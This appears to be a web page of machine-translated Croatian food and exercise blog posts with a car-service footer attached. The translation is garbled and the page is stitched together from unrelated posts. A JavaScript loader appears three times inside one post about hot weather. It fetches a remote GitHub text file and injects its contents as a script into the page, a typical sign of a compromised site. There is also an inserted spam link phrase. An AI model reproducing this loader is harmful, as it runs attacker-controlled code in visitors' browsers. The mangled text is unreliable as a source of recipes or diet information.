pa pretpostavljam da smo imali sladoled za ručak i salate za večeru 🙂
Mislim da sutra moram ponovno pogledati prvo poluvrijeme!
Diana nam se pridružila i donijela malo vina. Morao sam ga okusiti.
Malo sam igrao psa.
woof!
idem u krevet što prije jer planiram sutra ujutro trčati rano ujutro!
Više postova iz Kath:
Muesli s smrzavanjem sušenim čipovima od banane
Današnji visoki: 96*. Subota: 100! Bit će to vikend, ali toliko sam zahvalan što više ne budem hladan! Danas bih mogao uključiti AC – ali neću biti kod kuće cijeli dan, pa ćemo vidjeti. (var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });) (var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });) (var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });)
Uživam u posljednjih nekoliko dana ležernog jutra prije ljetne škole sljedećeg tjedna Početak, pa sam odlučio završiti s još dva inverzna dana vježbanja.
Današnji doručak bio je savršen za već vruće vrijeme koje imamo. Nije bilo potrebe natopiti musli preko noći jer sam upravo koristio ohlađenu pripremljenu zobenu kašu. Moram isprobati i pripremljenu zobenu kašu s redovitim valjanim zobima, ali pretpostavljam da bi to bilo jednako dobro. Radit ću ovo puno više dođi sljedeći tjedan –
banana mrvica muesli
1/2 Posluživanje pripremljenog čeličnog zobi (napravljeno od malo skimskog mlijeka) 1/2 a Šalica pripremljenih pšeničnih jagoda3 Jagoda1/2 Vrlo mala banana1/3 šalica grčka jogurtplash vanilija konopca mlijeko1/2 paket funky majmunskih čipsa od banane! (vidi dolje)
Mnogo mrvica i žvakanja u ovoj zdjeli!
Primio sam ove zamrzane grickalice sušenih voća u pošti ovaj tjedan (dva uzorka u jednom tjednu!) I prilikom pretraživanja u ormaru Za nešto hrskavo da biste na vrhu ovog musli izgledali kao savršeni kombinirani okus. Podijelio sam paket s mužem i srušio ih na vrh.
Jako mi se svidjelo kako su bili debeli čips od banane-a cimet-y dodir bio je sjajan. Stvarno su imali okus poput banane. Svi su prirodni (nema konzervansa ili dodanih okusa) i nema dodatnog šećera. Jedan paket ima 110 kalorija. Uzbuđena sam što ću uskoro isprobati okus ananasa u jogurtu!
dnevni red
Uskoro sam krenuo u teretanu, a zatim s Karen s Karen kako bih ručao s mužem. Tada imam 2 naloga za trčanje, putovanje na Zemlju za zob (sve opet!) I kući kako bih napravio večeru i krenuo natrag u grad kemiju.
Više postova iz Kath:
Tko je znao da će odlazak na IKEA preuzeti naš cijeli dan!?
OK, ok, siguran sam da su mnogi od vas znali 🙂
Osim uzgajanja s Gleeom kad sam se otvorio UP organizirane ladice (trebam Ikea kuhinju jednog dana…)
… Bili smo u lovu na pekarni namještaj!
Razmotrili smo ovu stolicu …
Ali mislimo da umjesto toga idemo s ovom! Zajedno s drvenim gornjim bistroom. Cool!
Usred svega toga (14:00!) Ostali smo gladni. Srećom, Megan mi je dala nekoliko barova od 18 zečeva (gdje je internirala prošlog ljeta) koje sam još uvijek imao u torbici. Glad je izbjegao.
Izabrali smo i nekoliko stvari za naše kućanstvo! Previše je mračno da ih fotografiramo sada, ali rado kažem da smo pobjegli samo trošiti 60 dolara (uključujući 2 ploče za rezanje za pekaru)
Dok smo uzbuđivali, podijelili smo smrznuti konus jogurta! Ljudi me uvijek pitaju jesam li ikad jela bezvrijednu hranu za ručak i sakrio je od bloga. Odgovor> je da ponekad jedem smeće za ručak, ali nikad ga ne bih sakrio od bloga!
Na kraju smo pojeli pravi ručak u 18:00! Pretpostavljam da smo imali sladoled za ručak i salate za večeru 🙂
po uobičajeno, nakon povratka kući s odmora, zaustavili smo se u cjelovite hrane za namirnice i sa svim raspakiranjem koje smo morali učiniti, kuhanje nije zvučalo kao zabavno kao što se obraćamo sebi gotovoj večeri. Brza hrana!
Ovo je bila jedna od najboljih kreacija salata koje sam ikad imao! Mislim da je to bila baza parnog kelja na dnu, umjesto vodene salate. Volio sam svaki zalogaj!
Hvala mami i gramu što su mi dali neke od njihovih fenomenalnih antiknih posteljina! Dolazim mnoštvo slatkih pozadina bloga!
Povratak pjenušave vode !!
Večeras sam proveo družeći se s Karen, raspakirajući i radeći neke projekte čišćenja. Još nisam napravio dom urednog doma na čišćenju, ali dolazi. Uskoro. Obećajem!! Moram dijeliti novi Miracle proizvod.
Više postova iz Kath:
Mornin ‘!
Spavao sam do 7:30 – ’Twas lijepo !! I čim sam se probudio shvatio sam da već radim 4 solidna sata dan prije. Lude misli bile su.
naišao sam na posao i obavio neko računalo dok sam čekao da gladan. Nekih dana probudim se izgladnjelog; drugi čekam 30 minuta ili tako nešto. Mislim da je definitivno u odnosu na veličinu i vrijeme večere prethodne noći.
Sastavite zdjelu za doručak u 8:30
1 šalica grčkog jogurta1/4 šalice suhe kupine Oatsmango ~ 1/3 šalice kvakera od quaker zobene pahuljice Squareskodiak kolači crvena malina sirupboar gola vršna granola 1 tbsp flax1 tbsp Sunflower Maslac
Ovi su momci napravili doručak dodatnim ukusnim:
Joe.
Danas je širom otvoren, ali također imam dugački popis obaveza. Dobio sam svoje odobrenje da položim RD ispit uromexil forte što je to Pročitajte više ovdje jučer !!!!! Sada samo moram proučavati, proučavati, studirati. Također sam kupio RD Healthnut Em u Flash karticama, koje su sjajno! Ako poznajete svijet RD -a, znate Jean Inman. Ali ne učim zureći u debelo vezivo. Moram učiniti stvari da bih naučio. Dakle, unaprijed napravljene flash kartice su spasilački spasilac. Dobivam oko 50% u prvom pokušaju, tako da su to dobre vijesti. Nemam pojma kada ću biti spreman, ali naporno ću studirati u narednih nekoliko tjedana.
sytycd večeras !!
Više postova iz Kath:
Ušao sam u svoje vozilo da jutros pokrene neke narudžbe po gradu. Namjeravao sam se vratiti, a zatim biciklirati u svoju teretanu, ali budući da sam bio u susjedstvu sela Ballantyne YMCA, odlučio sam ga promijeniti i otići tamo. Osjećam se kao gradski klizač kad odem na novi Y 🙂
Evo mog lukavog iPhonea snimanja onoga što je tamo – na drugom sam katu. Napravio sam 45 minuta na ET-u, a zatim 15-minutni krug dizanja pomoću kabela FreeMotion. Volite ih.
Zatim udarim u Zemlju. Imam puno svježih lokalnih stvari. I ne-lokalni organski. Zašto ne mogu biti oboje odjednom!?
Morao sam ga preskočiti radi vremena, ali odlučio sam otići i trgovcu Joeu, kao i za banane, hummus, butternut tikvica i kefir da bi bili poput poput Allie. Prošle su godine otkad sam imao kefir!
Došao sam kući i morao žuriti da napravim brzi ručak, a blogiram i jedem kako bih na vrijeme mogao stići na nastavu!
Ne postoji ništa brže od brzog salate salate –
Romaine + špinat mrkva zelena paprika TJ -a, glatki hummus, što je dobro, ali nije tako dobro kao Sabra – barem običan okus nije. Blue sir od leptira! Evoo + agave + sol kao lagani preljev
Plavi sir + hummus napravio je ovu stijenu salate.
plus strana kašisa (kraj kutije!) I jabuka, koju štedim da jedem na putu za nastavu ili možda poslije.
Trenutno sam opsjednut pjesmom popularnoj iz Wicked -a. I prkositi gravitaciji! Istrošem GrooveShark slušajući ih ponavljajući!
Off to The Class – na mojoj metli!
Više postova iz Kath:
Howdy iz kruha Trgovina, sada poslužujući crvene bijele i muffine od borovnice i breskve Blackberry Savannah Bars!
i ledena kava za vlasnika br. 1!
Svi vi koji su tolerirali moje pritužbe na kavu + kofein posljednjih godinu dana i preporučili su decenf, hvala. Sve što sam trebala bilo je da pronađem bezum koji mi se svidio !! I zahvaljujući Shenandoah Joeu – imam!
Nisam gladan za ručak cijelo jutro, što je neobično jer nisam ni zakucao na stvar !!! Vjerojatno zato što sam bio zauzet + hidratizirano 🙂
Ostatak gazpacho ispunjen do vrha s garbanzosom. Volio ovu kombinaciju !!!! Također je volio pečeni kukuruz iznutra.
U kompletu s hrskavom kriškom Dakote s ploče. Moram priznati da nisam najveći obožavatelj Dakote … dok ga ne stavim u usta !!!!!!!!! Kad bih dobio izbor, radije bih imao visokih pet!, Devet žitarica, grožđica cimeta, Popeye. Ali danas sam imala ukidanje za Dakotu i zaboravio koliko je dobar ovaj kruh !!! Sve je u sjemenskoj mrvici.
i kuglice proso. Ne mogu ih zaboraviti!
Ostajemo na poslu kasno večeras na našem prvom službenom sastanku zaposlenika – ali to znači da stižemo do peći i napraviti malo pizze !!! Naravno na GH tijestu. Matt je upravo stigao s vrećicom za smeće od vrtnog zelenila za salatu i bačvu (a nije pun piva!)
Više postova iz Kath:
Dakle, u strahu da će prehraniti previše Puno, jeo sam premalo! Na našem ručku (od McAlister’s Deli) uzeo sam maleni sendvič s puretinom (izgleda veliko, ali bio je dugačak samo oko 3 ″), uklonio sir (jer ga nisam mogao ni okusiti), dodao se senf. Imao sam dva krastavica i jabuku koje sam donio.
Tada sam još uvijek bio gladan, pa sam dobio vodu s acidom za dijetu da mi pomogne da me ispuni:
Zatim sam napravio brzu matematiku i Shvatio sam da bih mogao ugristi kolačić … (što nije bilo vrijedno, pa sam jeo samo pola)
i zalogaj brownie (što se potpuno isplatilo). Imao sam još jedan od njih u 14:00!
pa sam se vratio i zabilježio sve i shvatio da sam samo oko 300 kalorija !! Isuse! Znam da jutros nisam radio, ali još uvijek mi je trebalo malo više. Pronašao sam ove Pita čips od petka i znao je da je to upravo ono što sam želio. Odmjerio sam ih na .5 Oz (što je bilo samo 25 kalorija) i pojeo sam ih prebrzo.
Zatim sam krenuo u 40 minuta hoda !! Idi mene !! Način da se uklopim. Da sam bio na zdravstvenom nizu, samo bih prihvatio da ću danas održavati, ali nakon ovog vikenda Festu za jelo, moram izgubiti neke, pa ne vježbajući i pokušavam neto 1226 je nemoguce. Šetnja me je naletjela na i puno, a nadam se još jednom večeras. Trebao bih sve to uklopiti!
Jutarnji grickalice:
Pola ostatka Kashi Bar:
I još nekoliko staza (dodajte još nekoliko Kikiriki do ovoga koji mi se uvukao u usta prije nego što ih je kamera dobila!)
Imam krušku i fag za užinu. Zatim ostatak juhe i kashi krekeri za večeru. Yum!
Ovaj dan ide brzo zahvaljujući jutarnjim sastancima i konferencijskom pozivu u 16 sati. Jedva čekam da se vratim kući i družim se sa suprugom!
Više postova iz Kath:
Još nema znaka snijega … .. ovo me iščekivanje izbaci! Nije bilo sumnje da ćemo danas raditi teretanu prije doručka, jer “može početi snijeg u bilo kojem trenutku !!” Ali ovdje su bili u 10:45 i još uvijek nema snijega. Kažu da dolazi ipak !!
doručak izlaska sunca
Bio sam gore prije izlaska sunca i imao je 2 kolača od riže s PB. Izašli smo bez palačinki od kruha i zobenih pahuljica, tako da su to bile moja jedina opcija! Suprug je danas na misiji za pečenje (iznenađenje, iznenađenje 8)), tako da bismo do ručka trebali imati Focaccia i Ciabatta. Također sam imao chai zeleni čaj (nije moj omiljeni 🙁) 110 kcal.
Vježba
Veliki odličan trening danas, ali osjećao sam se malo umorno od vrtenja jučer. Mislim da bi sutra (s obzirom na vremensku prognozu) bio dobar dan za odmor. A onda budući da nemam u ponedjeljak u nastavi, tada ću obaviti svoje dugoročno. Danas sam radio 30 minuta na stubištu (nedavno sam ga povećao na razinu 12, što je veliki izazov!) I 10 minuta na Funky ET -u, a zatim 10 minuta guranja, povlačenja i umora. Prije otprilike mjesec dana suprug je predložio da upotrijebimo pomoćni stroj za povlačenje da bismo napravili neke od njih i otprilike jednom tjedno otkad smo radili rutinu od tri gore. Zaista sam primijetio razliku u definiciji ruke i pretpostavljam da je dodavanje ovog skupa zašto. Moj cijeli Gornji dio tijela iscrpljeno je kada završimo (3 seta od 10 svake vježbe) i potrebno je mnogo manje vremena nego raditi krug strojeva ili slobodnih utega. Obično radim gornje tjelesne težine 3x tjedno – s jednim danom za slobodne utege, jedan dan za strojeve i jedan za to. Nadam se da će sve različite vrste vježbi držati moje tijelo na nogama. 426 Kcal je danas izgorio.
uobičajena
Kako bih mogao odbiti zobenu kašu!? Yum. Napravljeno od banane, cimeta, vanilije, smeđeg šećera, lana, oraha i PB -a. Dobili smo ove slatke zdjele od moje sestre za moj rođendan, a tu su i zeleni i plavi. Moja omiljena boja je zelena, a muževa plava, tako da možete pogoditi tko koristi svaku zdjelu svako jutro. Pa danas sam ga iznenadio i dao mu zelenu i uzeo plavu za promjenu! Zapravo sam stvarno uživao u plavom
Ovo!
uz čaj (bez mlijeka, samo splenda). 410 kcal.
Danas
Planovi za dan uključuju:
čitanje dileme svejednice (volim M. Pollan i moram napisati rad o jednom od poglavlja za kulturnu hranu! ) Pisanje rada. To je kratki papir s 3ish stranica i samo sažetak poglavlja koji mi je dodijeljen. U Davidsonu bi nas natjerali da pročitamo cijelu knjigu umjesto samo jednog poglavlja i napišemo rad na 5 stranica analizirajući sve ove stvari. Ali ne žalim se! Iako želim pročitati cijelu knjigu, pa ću vjerojatno pročitati svoj odjeljak i poglavlje, napisati rad, a zatim pročitati ostala 2 odjeljka.MISC. Domaća zadaća!? Ažurirajte stranice bloga2 Tops of Laundrylunch salate od lososa i svježe pečenog kruha! Večera s mediteranskom mediteranskom Atm5 (ako vrijeme nije katastrofalno!)
Više postova iz Kath:
To je a Prekrasno jutro ovdje – sunčano, ali malo prohladno. Otvorena sam vrata da čujem kako ptice cvrkuću, ali duksericu da me zagrijavaju!
Jutros sam bio raspoložen za nešto svjetlo (bože, pitam se zašto!). Odlučio sam se za grčki jogurt + mlijeko od konoplje + tj žitarice + banana + jagode.
plus kava 🙂 stvarno sam se pretvorio u takvog ljubitelja kave. Ali mislim da je ovo proljeće svježeg tržišta više od svega.
Ovaj doručak bio je oko 375 kcal, 17 grama vlakana i 18 grama proteina. Nedostaju mi zdrave masti (PB jednostavno nije izgledao kao da idu s tim), tako da bih na temelju iskustva trebao biti u mogućnosti izvući najmanje 3 sata iz ove zdjele – vidjet ćemo!
Današnje današnje Agenda:
Pregled Chemistrydo StatsStudy Physiology Lab Ispit
(bla !!)
Plus:
Fizička aktivnost (TBD na temelju raspoloženja) Očistite kuhinjski pod na mojim rukama i koljena Originalni plan večere i pojedite ostatke za ručak i večeru
Nadam se da ćete svi imati senzacionalnu nedjelju!
Više postova iz Kath:
Jutro! Probudio sam se prije sunca jutros da bih započeo na dan. Koliko god volim ugodne hotele noću, stvarno ih volim ujutro kad ustanem, vježbam, tuširam se, oblačim se, spakiram. Jednostavno se osjeća tako organizirano! (A ručnici su uvijek svježi, za razliku od naše kuće)
Jutros sam ustao i pojeo malo grožđa prije nego što sam udario u hotelsku teretanu na brzinu. Imao sam samo 30 minuta, pa sam hodao po trkačkoj stazi (danas nagib 4.0 na 3,5 mph) dok sam slušao pregtastične podcaste. Skoro sam ih sve slušao! Vježba se osjećala tako dobro, čak i ako je bila samo malo.
dolje na konferencijskom doručku, izgledao sam visoko i nisko za bjelančevine, zdrave masti i cjelovite žitarice, ali nisam imao previše sreće. Dobar izbor voća!
Ali dobro planiranje sa svoje strane = od kuće sam donio malo ujaka Sama (znajući da hoteli često nedostaju cjelovite žitarice).
Neke sam gomilao voće [Spasila bananu za užinu]
i preko nekog jogurta
Iako ovo nije bilo vrlo učinkovito sredstvo proteina – 3 grama ide sa 17 grama šećera. Imali su i jaja, ali bili su pomiješani sa salsom u tortilji koja jutros nije zvučala previše privlačno nepcu. Još jedna opcija proteina koja je gotovo uvijek dostupna je Skim mlijeko iz kafića – hoteli uvijek imaju kavu! Mogao sam staviti svoje žitarice u to u šalicu. Ali danas je linija kave bila duga i mlijeko je brzo izlazilo, pa sam odlučio da ne uzmem šalicu od žeđi.
Contents
Contact
Hi Tech Car Service
in Kilburn, SA
(08) 8162 8662
Find your nearest
Bosch Service workshop
VIEW NOW
Discover
Bosch Vehicle Parts
Find out more
